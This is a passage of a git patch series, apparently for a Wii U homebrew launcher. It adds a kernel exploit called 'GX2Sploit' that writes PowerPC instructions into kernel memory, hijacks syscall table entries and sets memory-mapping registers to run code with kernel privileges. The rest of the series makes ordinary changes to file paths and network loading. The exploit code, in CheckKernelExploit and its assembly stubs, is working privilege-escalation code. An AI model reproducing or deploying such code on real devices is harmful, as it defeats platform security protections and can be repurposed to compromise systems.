targetAddress[0] = 0x3ce00000 | ((BAT4L_VAL >> 16) & 0xFFFF); // lis r7, BAT4L_VAL@h + targetAddress[1] = 0x60e70000 | (BAT4L_VAL & 0xFFFF); // ori r7, r7, BAT4L_VAL@l + targetAddress[2] = 0x7cf18ba6; // mtspr 561, r7 + targetAddress[3] = 0x3ce00000 | ((BAT4U_VAL >> 16) & 0xFFFF); // lis r7, BAT4U_VAL@h + targetAddress[4] = 0x60e70000 | (BAT4U_VAL & 0xFFFF); // ori r7, r7, BAT4U_VAL@l + targetAddress[5] = 0x7cf08ba6; // mtspr 560, r7 + targetAddress[6] = 0x7c0006ac; // eieio + targetAddress[7] = 0x4c00012c; // isync + targetAddress[8] = 0x7ce802a6; // mflr r7 + targetAddress[9] = 0x48000003 | (u32)BAT_SETUP_HOOK_ENTRY; // bla BAT_SETUP_HOOK_ENTRY + asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (BAT_SETUP_HOOK_ADDR & ~31)); + asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)); + + NOP_ADDR(BAT_SET_NOP_ADDR_1); + NOP_ADDR(BAT_SET_NOP_ADDR_2); + NOP_ADDR(BAT_SET_NOP_ADDR_3); + NOP_ADDR(BAT_SET_NOP_ADDR_4); + NOP_ADDR(BAT_SET_NOP_ADDR_5); + NOP_ADDR(BAT_SET_NOP_ADDR_6); + NOP_ADDR(BAT_SET_NOP_ADDR_7); + + u32 addr_syscall_0x65 = *(u32*)(KERN_SYSCALL_TBL_2 + 0x65 * 4); + *(u32*)addr_syscall_0x65 = 0x3C60B00B; // lis r3, 0xB00B + asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (addr_syscall_0x65 & ~31)); + + asm volatile("eieio; isync"); + asm volatile("mtspr 570, %0" : : "r" (0xFFEE0002)); + asm volatile("mtspr 571, %0" : : "r" (0xFFEE0032)); + asm volatile("eieio; isync"); + + NOP_ADDR(BAT_SET_NOP_ADDR_8); + NOP_ADDR(BAT_SET_NOP_ADDR_9); + + asm volatile("sync; eieio; isync"); + asm volatile("mtspr 560, %0" : : "r" (BAT4U_VAL)); + asm volatile("mtspr 561, %0" : : "r" (BAT4L_VAL)); + asm volatile("mtspr 570, %0" : : "r" (BAT4U_VAL)); + asm volatile("mtspr 571, %0" : : "r" (BAT4L_VAL)); + asm volatile("eieio; isync"); +} + +int CheckKernelExploit(void) +{ + if(OSEffectiveToPhysical((void*)0xA0000000) == 0x10000000) + { + log_printf("Running kernel setup\n"); + + unsigned char backupBuffer[0x40]; + + u32 *targetAddress = (u32*)(0xA0000000 + (0x327FF000 - 0x10000000)); + memcpy(backupBuffer, targetAddress, sizeof(backupBuffer)); + + targetAddress[0] = 0x7c7082a6; // mfspr r3, 528 + targetAddress[1] = 0x60630003; // ori r3, r3, 0x03 + targetAddress[2] = 0x7c7083a6; // mtspr 528, r3 + targetAddress[3] = 0x7c7282a6; // mfspr r3, 530 + targetAddress[4] = 0x60630003; // ori r3, r3, 0x03 + targetAddress[5] = 0x7c7283a6; // mtspr 530, r3 + targetAddress[6] = 0x7c0006ac; // eieio + targetAddress[7] = 0x4c00012c; // isync + targetAddress[8] = 0x3c600000 | (((u32)setup_syscall) >> 16); // lis r3, setup_syscall@h + targetAddress[9] = 0x60630000 | (((u32)setup_syscall) & 0xFFFF); // ori r3, r3, setup_syscall@l + targetAddress[10] = 0x7c6903a6; // mtctr r3 + targetAddress[11] = 0x4e800420; // bctr + DCFlushRange(targetAddress, sizeof(backupBuffer)); + + u8 *sdLoaderAddress = (u8*)(0xA0000000 + (0x30800000 - 0x10000000)); + memset(sdLoaderAddress, 0, 0x2000 - sizeof(___sd_loader_bin)); + memcpy(sdLoaderAddress, ___sd_loader_bin, sizeof(___sd_loader_bin)); + + // OS_FIRMWARE -> 550 on 5.5.x + *(u32*)(sdLoaderAddress + 0x1400 + 4) = 550; + + OsSpecifics *osSpecificFunctions = (OsSpecifics *)(sdLoaderAddress + 0x1500); + osSpecificFunctions->addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; + osSpecificFunctions->addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; + osSpecificFunctions->addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; + osSpecificFunctions->addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; + osSpecificFunctions->addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; + osSpecificFunctions->addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; + osSpecificFunctions->addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; + osSpecificFunctions->addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; + DCFlushRange(sdLoaderAddress, 0x2000); + + /* set our setup syscall to an unused position */ + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x017FF000); + + /* run our kernel code :) */ + SC0x25_SetupSyscall(); + + /* revert setup syscall */ + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x0); + + /* repair data */ + memcpy(targetAddress, backupBuffer, sizeof(backupBuffer)); + DCFlushRange(targetAddress, sizeof(backupBuffer)); + + unsigned int repl_addr = ADDRESS_main_entry_hook; + *(u32*)(0xC1000000 + repl_addr) = 0x48000003 | 0x00800048; + DCFlushRange((void*)0xC1000000 + repl_addr, 4); + ICInvalidateRange((void*)(repl_addr), 4); + + /* restore kernel memory table to original state */ + kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0); + kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000); + + log_printf("Kernel setup finished\n"); + + /* relaunch for BAT setup on every core */ + SYSRelaunchTitle(0, 0); + return 0; + } + else if(SC0x65_ExploitCheck(0) != 0xB00B0000) + { + log_printf("Running GX2Sploit\n"); + /* Make a thread to modify the semaphore */ + OSThread *thread = (OSThread*)memalign(8, 0x1000); + u8 *stack = (u8*)memalign(0x40, 0x2000); + + if (OSCreateThread(thread, (OSThreadEntryPointFn)exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) + { + OSFatal("Failed to create thread"); + } + + OSResumeThread(thread); + OSJoinThread(thread, 0); + free(thread); + free(stack); + + log_printf("GX2Sploit done\n"); + SYSRelaunchTitle(0, 0); + return 0; + } + + // else everything is setup + return 1; +} diff --git a/src/kernel/gx2sploit.h b/src/kernel/gx2sploit.h new file mode 100644 index 0000000..0d1ee31 --- /dev/null +++ b/src/kernel/gx2sploit.h @@ -0,0 +1,14 @@ +#ifndef GX2SPLOIT_H_ +#define GX2SPLOIT_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int CheckKernelExploit(void); + +#ifdef __cplusplus +} +#endif + +#endif // GX2SPLOIT_H_ diff --git a/src/kernel/gx2sploit_asm.S b/src/kernel/gx2sploit_asm.S new file mode 100644 index 0000000..de36160 --- /dev/null +++ b/src/kernel/gx2sploit_asm.S @@ -0,0 +1,37 @@ + .globl set_semaphore_phys +set_semaphore_phys: + mflr 0 + stwu 1, -0x20(1) + stw 31, 0x1C(1) + stw 30, 0x18(1) + stw 0, 0x24(1) + + mtctr 3 + mr 3, 4 + mr 30, 5 + li 31, 1 + bctr + + .globl Register +Register: + li 0,0x3200 + sc + blr + + .globl CopyToSaveArea +CopyToSaveArea: + li 0,0x4800 + sc + blr + + .globl SC0x25_SetupSyscall +SC0x25_SetupSyscall: + li 0,0x2500 + sc + blr + + .globl SC0x65_ExploitCheck +SC0x65_ExploitCheck: + li 0,0x6500 + sc + blr diff --git a/src/main.cpp b/src/main.cpp index b0e82ad..56aecad 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -4,6 +4,7 @@ #include "utils/utils.h" #include "dynamic_libs/padscore_functions.h" #include "common/common.h" +#include "kernel/gx2sploit.h" /* Entry point */ extern "C" int Menu_Main(void) @@ -12,22 +13,20 @@ extern "C" int Menu_Main(void) //! Initialize function pointers * //!******************************************************************* //! do OS (for acquire) and sockets first so we got logging -// InitOSFunctionPointers(); -// InitSocketFunctionPointers(); - log_init("192.168.178.3"); - log_print("Starting launcher\n"); -/* - InitFSFunctionPointers(); - InitGX2FunctionPointers(); - InitSysFunctionPointers(); - InitVPadFunctionPointers(); + //! ******************************************************************* + //! * Check if our application needs to run the kexploit started * + //! ******************************************************************* + if(CheckKernelExploit() == 0) + { + return 0; + } + + log_printf("Welcome to the Homebrew Launcher %s\n", HBL_VERSION); + InitPadScoreFunctionPointers(); - InitAXFunctionPointers(); -*/ - InitPadScoreFunctionPointers(); - log_print("Function exports loaded\n"); + log_printf("Function exports loaded\n"); //!******************************************************************* //! Enter main application * @@ -38,6 +37,7 @@ extern "C" int Menu_Main(void) Application::destroyInstance(); + log_printf("HBL exit\n"); log_deinit(); return returnCode; diff --git a/src/menu/HomebrewLaunchWindow.cpp b/src/menu/HomebrewLaunchWindow.cpp index 5271cca..5dda83c 100644 --- a/src/menu/HomebrewLaunchWindow.cpp +++ b/src/menu/HomebrewLaunchWindow.cpp @@ -167,9 +167,7 @@ void HomebrewLaunchWindow::OnFileLoadFinish(GuiElement *element, const std::stri if(result > 0) { - u32 ApplicationMemoryEnd = getApplicationEndAddr(); - - ELF_DATA_ADDR = ApplicationMemoryEnd; + ELF_DATA_ADDR = (u32)APP_BASE_MEM; ELF_DATA_SIZE = result; Application::instance()->quit(EXIT_SUCCESS); } @@ -181,9 +179,7 @@ void HomebrewLaunchWindow::OnLoadButtonClick(GuiButton *button, const GuiControl backBtn.setState(GuiElement::STATE_DISABLED); loadBtn.setState(GuiElement::STATE_DISABLED); - u32 ApplicationMemoryEnd = getApplicationEndAddr(); - - HomebrewLoader * loader = HomebrewLoader::loadToMemoryAsync(homebrewLaunchPath, (unsigned char*)ApplicationMemoryEnd); + HomebrewLoader * loader = HomebrewLoader::loadToMemoryAsync(homebrewLaunchPath, APP_BASE_MEM); loader->setEffect(EFFECT_FADE, 15, 255); loader->effectFinished.connect(this, &HomebrewLaunchWindow::OnOpenEffectFinish); loader->asyncLoadFinished.connect(this, &HomebrewLaunchWindow::OnFileLoadFinish); diff --git a/src/menu/HomebrewWindow.cpp b/src/menu/HomebrewWindow.cpp index 0560b0c..50a9717 100644 --- a/src/menu/HomebrewWindow.cpp +++ b/src/menu/HomebrewWindow.cpp @@ -43,7 +43,7 @@ HomebrewWindow::HomebrewWindow(int w, int h) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L | GuiTrigger::BUTTON_LEFT, true) , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R | GuiTrigger::BUTTON_RIGHT, true) - , tcpReceiver(DEFAULT_WIILOAD_PORT) + , tcpReceiver(APP_BASE_MEM, DEFAULT_WIILOAD_PORT) { tcpReceiver.serverReceiveStart.connect(this, &HomebrewWindow::OnTcpReceiveStart); tcpReceiver.serverReceiveFinished.connect(this, &HomebrewWindow::OnTcpReceiveFinish); @@ -52,7 +52,7 @@ HomebrewWindow::HomebrewWindow(int w, int h) currentLeftPosition = 0; listOffset = 0; - DirList dirList("sd:/wiiu/apps", ".elf", DirList::Files | DirList::CheckSubfolders, 1); + DirList dirList("fs:/vol/external01/wiiu/apps", ".elf", DirList::Files | DirList::CheckSubfolders, 1); dirList.SortList(); @@ -105,8 +105,8 @@ HomebrewWindow::HomebrewWindow(int w, int h) const char *cpName = xmlReadSuccess ? metaXml.GetName() : homebrewButtons[idx].execPath.c_str(); const char *cpDescription = xmlReadSuccess ? metaXml.GetShortDescription() : ""; - if(strncmp(cpName, "sd:/wiiu/apps/", strlen("sd:/wiiu/apps/")) == 0) - cpName += strlen("sd:/wiiu/apps/"); + if(strncmp(cpName, "fs:/vol/external01/wiiu/apps/", strlen("fs:/vol/external01/wiiu/apps/")) == 0) + cpName += strlen("fs:/vol/external01/wiiu/apps/"); homebrewButtons[idx].nameLabel = new GuiText(cpName, 32, glm::vec4(1.0f)); homebrewButtons[idx].nameLabel->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); @@ -329,9 +329,7 @@ void HomebrewWindow::OnTcpReceiveFinish(GuiElement *element, u32 ip, int result) if(result > 0) { - u32 ApplicationMemoryEnd = getApplicationEndAddr(); - - ELF_DATA_ADDR = ApplicationMemoryEnd; + ELF_DATA_ADDR = (u32)APP_BASE_MEM; ELF_DATA_SIZE = result; Application::instance()->quit(EXIT_SUCCESS); } diff --git a/src/menu/TcpReceiver.cpp b/src/menu/TcpReceiver.cpp index 01bdb37..825ef08 100644 --- a/src/menu/TcpReceiver.cpp +++ b/src/menu/TcpReceiver.cpp @@ -10,9 +10,7 @@ #include "utils/StringTools.h" #include "utils/net.h" -u32 __CODE_END = 0x0; - -TcpReceiver::TcpReceiver(int port) +TcpReceiver::TcpReceiver(unsigned char* loadAddr, int port) : GuiFrame(0, 0) , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff) , exitRequested(false) @@ -25,9 +23,7 @@ TcpReceiver::TcpReceiver(int port) height = progressWindow.getHeight(); append(&progressWindow); - u32 ApplicationMemoryEnd = getApplicationEndAddr(); - - loadAddress = (unsigned char*)ApplicationMemoryEnd; + loadAddress = loadAddr; resumeThread(); } diff --git a/src/menu/TcpReceiver.h b/src/menu/TcpReceiver.h index 7492c2a..bbde1cf 100644 --- a/src/menu/TcpReceiver.h +++ b/src/menu/TcpReceiver.h @@ -20,7 +20,7 @@ public: NOT_ENOUGH_MEMORY = -4, }; - TcpReceiver(int port); + TcpReceiver(unsigned char* loadAddr, int port); ~TcpReceiver(); sigslot::signal2 serverReceiveStart; diff --git a/src/utils/logger.c b/src/utils/logger.c index 90f4497..ab09923 100644 --- a/src/utils/logger.c +++ b/src/utils/logger.c @@ -14,6 +14,8 @@ static volatile int log_lock = 0; void log_init(const char * ipString) { + socket_lib_init(); + log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (log_socket < 0) return; diff --git a/src/utils/utils.h b/src/utils/utils.h index 676a9d9..c460fa2 100644 --- a/src/utils/utils.h +++ b/src/utils/utils.h @@ -40,8 +40,6 @@ extern "C" { #define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16))) #define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32))) -unsigned int getApplicationEndAddr(void); - #ifdef __cplusplus } #endif diff --git a/src/utils/utils_asm.S b/src/utils/utils_asm.S deleted file mode 100644 index b210f76..0000000 --- a/src/utils/utils_asm.S +++ /dev/null @@ -1,5 +0,0 @@ - .globl getApplicationEndAddr -getApplicationEndAddr: - lis r3, __CODE_END@h - ori r3, r3, __CODE_END@l - blr From d0e457cc45845336a4daeb4751109461617dcba4 Mon Sep 17 00:00:00 2001 From: dimok789 Date: Wed, 9 Nov 2016 20:38:02 +0100 Subject: [PATCH 6/6] fixed wiiload and sendelf support --- src/menu/TcpReceiver.cpp | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/src/menu/TcpReceiver.cpp b/src/menu/TcpReceiver.cpp index 825ef08..e45946b 100644 --- a/src/menu/TcpReceiver.cpp +++ b/src/menu/TcpReceiver.cpp @@ -41,7 +41,10 @@ void TcpReceiver::executeThread() { serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); if (serverSocket < 0) + { + log_printf("Server socket create failed\n"); return; + } u32 enable = 1; setsockopt(serverSocket, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)); @@ -53,18 +56,23 @@ void TcpReceiver::executeThread() bindAddress.sin_addr.s_addr = INADDR_ANY; s32 ret; - if ((ret = bind(serverSocket, (struct sockaddr *)&bindAddress, sizeof(bindAddress))) < 0) { + if ((ret = bind(serverSocket, (struct sockaddr *)&bindAddress, sizeof(bindAddress))) < 0) + { + log_printf("Server socket bind failed\n"); socketclose(serverSocket); return; } - if ((ret = listen(serverSocket, 3)) < 0) { + if ((ret = listen(serverSocket, 1)) < 0) + { + log_printf("Server socket listen failed\n"); socketclose(serverSocket); return; } struct sockaddr_in clientAddr; - socklen_t addrlen = sizeof(struct sockaddr); + memset(&clientAddr, 0, sizeof(clientAddr)); + socklen_t addrlen = sizeof(clientAddr); while(!exitRequested) { @@ -82,6 +90,7 @@ void TcpReceiver::executeThread() } else { + log_printf("Server socket accept failed %i\n", clientSocket); usleep(100000); } }